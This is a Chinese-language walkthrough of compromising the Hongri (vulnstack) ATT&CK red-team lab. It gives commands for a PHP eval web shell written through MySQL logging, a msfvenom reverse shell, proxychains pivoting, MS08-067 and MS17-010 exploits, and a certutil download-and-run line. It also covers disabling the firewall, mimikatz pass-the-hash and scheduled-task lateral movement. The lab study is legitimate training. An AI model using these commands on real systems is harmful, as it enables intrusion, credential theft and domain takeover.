ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程
ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程
0x01 前言
本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019。
0x02 环境搭建
本次环境搭建和靶机默认有些区别,我是在一台服务器的虚拟机上搭建的,服务器资源足够,为了避免运行卡顿,攻击机Kali也是在虚拟机上,具体配置如下,Kali虚拟机、WEB服务器win7外网网卡和宿主机桥接,和办公终端都是连到同一个局域网中。
WEB服务器:windows7系统
外网网卡IP:192.168.1.102
内网网卡IP:192.168.52.143
域成员:windows server 2003系统
网卡IP:192.168.52.141
域控服务器:windows server 2008系统
网卡IP:192.168.52.138
攻击机器:kali 2020.2
kali IP:192.168.1.101
宿主机IP:windows server 2008系统
IP:192.168.1.111
安装CobaltStrike服务器
IP:192.168.1.236
搭建靶机环境拓扑图如下:
模拟攻击示意图如下:
0x03 攻入内网
3.1. 信息收集
3.1.1 主机探测
netdiscover -i eth0 -r 192.168.1.0/24
3.1.2 端口扫描
发现IP192.168.1.102,使用nmap探测端口开放情况(注意需要现在win7主机运行PhpStudy)
nmap -sC -v -n -sV -Pn -p 1-65535 192.168.1.102
发现80端口开启,访问页面http://192.168.1.102/
发现页面如下,存在大量信息泄露,收集有效信息。
3.1.3 目录扫描
使用7kbscan-WebPathBrute目录扫描工具开展漏洞扫描
发现网站备份文件和phpadmin后台管理界面
打开备份文件发现网站源码,打开robots.txt发现网站CMS为yxcms,访问http://192.168.1.102/yxcms
进入网站首页
3.2. 漏洞利用
3.2.1 漏洞发现
3.2.1.1 漏洞一:信息泄露+弱口令
网站泄露后台地址和用户密码,且用户密码为弱口令
成功登录网站后台界面
3.2.1.2 漏洞二:PhpMyAdmin弱口令
发现使用默认用户名/口令(root/root)成功登录PhpMyAdmin管理页面
3.2.1.3 漏洞三:yxcms留言本XSS存储型漏洞
前台提交带有XSS代码的留言
后台审核成功弹出XSS弹窗
审核通过之后,前台同样成功弹窗
可通过该漏洞获取管理员cookie或者诱导管理员点击执行某恶意代码
3.2.1.4 漏洞四:yxcms后台任意文件读写漏洞
在后台创建新模板模块创建内容为一句话的新模板
通过前面的备份文件可知文件保存的目录http://192.168.1.102/yxcms/protected/apps/default/view/default/hack.php
使用蚁剑成功连接shell
3.2.1.5 漏洞五:yxcms后台SQL注入漏洞
在后台的碎片列表中进行删除操作,删除碎片ID可能存在盲注漏洞,使用dnslog获取SQL注入得到数据。
yxcms漏洞代码原理解析参考文章https://www.freebuf.com/column/162886.html
3.2.1.6 漏洞六:PhpMyAdmin开启全局日志getshell
首先测试是否可以使用select into outfile直接写入
Select '<?php eval($_POST[hack]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'
写入失败, show global variables like ‘%secure%’
查看变量secure-file-priv 值为NULL,且为只读无法修改。
尝试使用全局日志写入shell,查看全局变量general_log:show global variables like ‘%general_%’
开启全局日志并修改日志保存位置为C:/phpStudy/WWW/hack.php
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';
查询一句话写入日志Select '<?php eval($_POST[hack]);?>'
使用蚁剑连接一句话木马http://192.168.1.102/hack.php
3.3 CS上线GetShell
CS客户端服务端都部署在192.168.1.236主机上,创建监听并生成powershell
时间反应比较慢,建议多执行几次并等一会
提权成功
3.4 系统信息收集
查看网卡
发现内网ip地址192.168.52.143和域god.org,查看域信息
net group /domain #查看域内所有用户列表
net group “domain computers” /domain #查看域成员计算机列表
net group “domain admins” /domain #查看域管理员用户
本机计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA
3.5 主机密码收集
获取系统用户名和密码
3.6 远程桌面登录
远程开启3389端口并关闭防火墙
注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
这个时候防火墙是开启,我们需要关闭防火墙,使用域用户god\administrator/hongrisec@2020成功登录这一台win7WEB主机
0x04 内网信息收集
4.1 域信息收集
前面收集到的信息Win7计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA
win7内网的IP地址为192.168.52.143
进一步开始收集,通过Ladon 192.168.52.0/24 OnlinePC探测域内存活主机
域成员:192.168.52.141
域控DC:192.168.52.138
4.5 内网漏洞扫描
前期我们获取到win7的远程桌面也可以通过远程发现win7主机上安装了nmap工具,我们可以进一步针对192.168.52.0/24内网网段进行漏洞信息收集
nmap --script-vlun -p 1-65535 192.168.52.141
nmap --script-vlun -p 1-65535 192.168.52.138
也可以自己上传工具开展信息漏洞收集工作,我们使用上传的Ladon工具
发现192.168.1.141存在漏洞:MS08-067、MS17-010,192.168.1.138存在MS17-010漏洞。
攻击思路:
1、我们可以直接全部使用MS17-010获取域成员和域控主机;
2、使用MS08-067获取域成员主机,然后使用横向移动【VMI利用】获取域控主机
0x05 横向渗透
5.1 MSF反弹shell
这里我们使用Kali的msf先反弹一个shell
#生成反弹shell文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php
#在本机中设置监听
msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.101
set lport 4444
run
然后使用蚁剑上传shell.php,并访问
5.2 内网流量转发(MSF+proxychains)
参考文章https://www.freebuf.com/articles/network/125278.html
成功获取msf反弹shell,添加路由到目标环境网络,使得msf能够通过win7路由转发访问192.168.25.0/24网段
#查看路由信息
run get_local_subnets
#添加一条路由
run autoroute -s 192.168.52.0/24
使用msf的socks4代理模块
文本编辑器修改etc/proxychains.conf
,在最后一行加上socks4代理服务器
[ProxyList]
socks4 192.168.1.101 1080
使用proxychains代理nmap扫描主机
5.3 MS08-067 搭配Bind TCP
由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听,两者区别如下:
完整设置如下:
成功获取域成员192.168.1.141的shell
5.4 MS17-010获取域控服务器
我们同样可以使用MS17-010获取域服务器和域控服务器权限,这里我们直接攻击域控服务器
使用exploit/windows/smb/ms17_010_eternalblue
攻击流程如下:
获取失败,使用
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp
攻击流程如下
仍然无法有效获取会话
5.5 WMI获取域控服务器
上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行
cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"
或者直接使用之前上传的Ladom工具执行ladom wmiexec 192.168.52.138 administrator hongrisec@2020 whoami
同上面的过程一样,我们需要获取一个正向的msf连接,过程如下:
首先生成一个正向的exe文件放到win7的网站目录上
在win7上查看
在win7上使用WMI执行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe
成功执行,这时候在138机器(DC—win2008)上开启6666端口监听
然后我们在msf上个运行blin_tcp来获取回话
忘记改端口了,修改端口为6666
成功获取域控权限,后续提权,可以使用msf mimikatz进一步获取用户密码等。(msf连接过程中保持内网流量转发:步骤5.2,如果无法获取会话在kali上扫描138主机6666端口是否开放,如果没有开放参考3.6,同样使用vmi命令关闭防火墙后重,我使用的是之前上传的K8大神的Lodan工具,是因为vbs脚本一直没有回显,后来重启win2008域控服务器才有回显)
下一步开始提权,尝试多种提权方法均失败
然后上网查看资料,使用CVE-2018-8120来提权,直接文件上传upload CVE-2018-8120-master提权程序
成功提权,上免杀mimikatz
用户所有密码都会保存在mz.log文件中,可以直接type mz.log查看
5.6 票据加计划任务获取DC
这是博客ATT&CK红队评估实战靶场(一)的获取域控方法,感觉太过复杂,本人没有尝试,这里也放在这里供大家参考。
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
shell dir \192.168.52.138\c$ //dir DC的目录
生成一个exe马
这里用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的马 yukong.exe
把马复制到域控机器上shell copy C:\yukong.exe \192.168.52.138\c$
然后再用这个写入计划任务的方法去连接,这里马反弹会连不成功,所以
shell schtasks /create /tn "test" /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"
挂着win7代理 proxy nc -vv 192.168.52.138 7777 即可弹回DC138的shell
用Meterpreter的马也可以,之前失败了,后续还是改成meterpreter的马,或者把普通shell再升级成meterpreter再导入cs也可以
马上线之后清除计划任务schtasks /delete /s 192.168.52.138 /tn "test" /f
0x06 后记
当然最后获取域控权限的方法还有好多,向pth攻击、横向哈希传递、redis等等,还有后续的痕迹清理日志清楚都没有涉及,经过这一次充分认识到自己的不足,还需要多加学习,有些地方自己还是没有完全弄明白,只是完全参考网络上的大神们的教程,文中有错漏的地方希望大家多多包含,我只是用了我觉得最简单的思路进行攻击,更复杂的没有涉及,希望以后能多多练习这样的靶机学习更牛的技能,最后谢谢红日团队给出的这个靶机,后续还有一系列靶机,有时间会慢慢逐个尝试。